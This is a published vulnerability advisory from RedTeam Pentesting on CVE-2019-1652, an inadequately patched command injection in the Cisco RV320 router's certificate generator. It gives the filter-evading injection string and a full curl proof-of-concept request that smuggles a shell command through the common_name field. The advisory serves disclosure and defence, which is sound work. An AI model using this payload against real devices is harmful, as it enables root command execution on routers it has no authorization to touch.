Cisco RV320 Command Injection

`Advisory: Cisco RV320 Command Injection  
  
RedTeam Pentesting discovered a command injection vulnerability in the  
web-based certificate generator feature of the Cisco RV320 router which  
was inadequately patched by the vendor.  
  
  
Details  
=======  
  
Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others  
Affected Versions: 1.4.2.15 through 1.4.2.20  
Fixed Versions: none  
Vulnerability Type: Remote Code Execution  
Security Risk: medium  
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject  
Vendor Status: working on patch  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-005  
Advisory Status: published  
CVE: CVE-2019-1652  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652  
  
  
Introduction  
============  
  
"Keep your employees, your business, and yourself productive and  
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal  
choice for any small office or small business looking for performance,  
security, and reliability in its network."  
(from the Cisco RV320 product page [1])  
  
  
More Details  
============  
  
The router's web interface enables users to generate new X.509  
certificates directly on the device. Previously, RedTeam Pentesting  
identified a vulnerability (rt-sa-2018-004) [2] in this component. By  
providing a specially crafted common name, it was possible to inject  
shell commands which were subsequently executed on the router as the  
root user. This vulnerability was adressed in firmware version 1.4.2.19  
published by Cisco [3].  
  
RedTeam Pentesting discovered that the certificate generator in the patched  
firmware is still vulnerable. The update adds several filters to handle  
single quotes in user input. However, these filters can be evaded by  
specially crafted inputs. By providing the following string for the  
certificate's common name, a "ping" command can be injected:  
  
------------------------------------------------------------------------  
'a$(ping -c 4 192.168.1.2)'b  
------------------------------------------------------------------------  
  
  
Proof of Concept  
================  
  
The following HTTP POST request invokes the certificate generator  
function and triggers the command injection. It requires a valid session  
cookie for the device's web interface. The user agent "curl" is  
blacklisted by the firmware and must be adjusted in the HTTP client.  
  
------------------------------------------------------------------------  
$ curl -s -k -A kurl -X POST -b "$COOKIE" \  
--data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\  
"&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\  
"&organization=A&organization_unit=A&email=ab%40example.com"\  
"&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\  
"SelectSubject_s=1" \  
--data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \  
"https://192.168.1.1/certificate_handle2.htm?type=4"  
------------------------------------------------------------------------  
  
Afterwards, the incoming ICMP echo requests can be observed on the  
attacker's system at 192.168.1.2.  
  
  
Workaround  
==========  
  
Prevent untrusted users from using the router's web interface.  
  
  
Fix  
===  
  
None  
  
  
Security Risk  
=============  
  
The vulnerability allows attackers with administrative access to the  
router's web interface to execute arbitrary operating system commands on  
the device. Because attackers require valid credentials to the web  
interface, this vulnerability is only rated as a medium risk.  
  
  
Timeline  
========  
  
2018-09-19 Original vulnerability identified  
2018-09-27 Customer approved disclosure to vendor  
2018-09-28 Vendor notified  
2018-10-05 Receipt of advisory acknowledged by vendor  
2018-10-05 Notified vendor of disclosure date: 2019-01-09  
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor  
2019-01-16 List of affected versions provided by vendor  
2019-01-22 Firmware 1.4.2.20 released by vendor  
2019-01-23 Advisory (rt-sa-2018-004) published  
  
2019-02-07 Incomplete mitigation of vulnerability identified  
2019-02-08 Proof of concept sent to vendor  
2019-02-08 Receipt of proof of concept acknowledged by vendor  
2019-02-15 Full advisory sent to vendor  
2019-02-15 Notified vendor of disclosure date: 2019-03-27  
2019-03-25 Requested progress update from vendor  
2019-03-25 Vendor requests postponed disclosure  
2019-03-25 Postponement declined  
2019-03-27 Advisory published  
  
  
References  
==========  
  
[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html  
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-004  
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting is looking for penetration testers to join our team  
in Aachen, Germany. If you are interested please visit:  
https://www.redteam-pentesting.de/jobs/  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
Geschäftsführer: Patrick Hof, Jens Liebchen  
`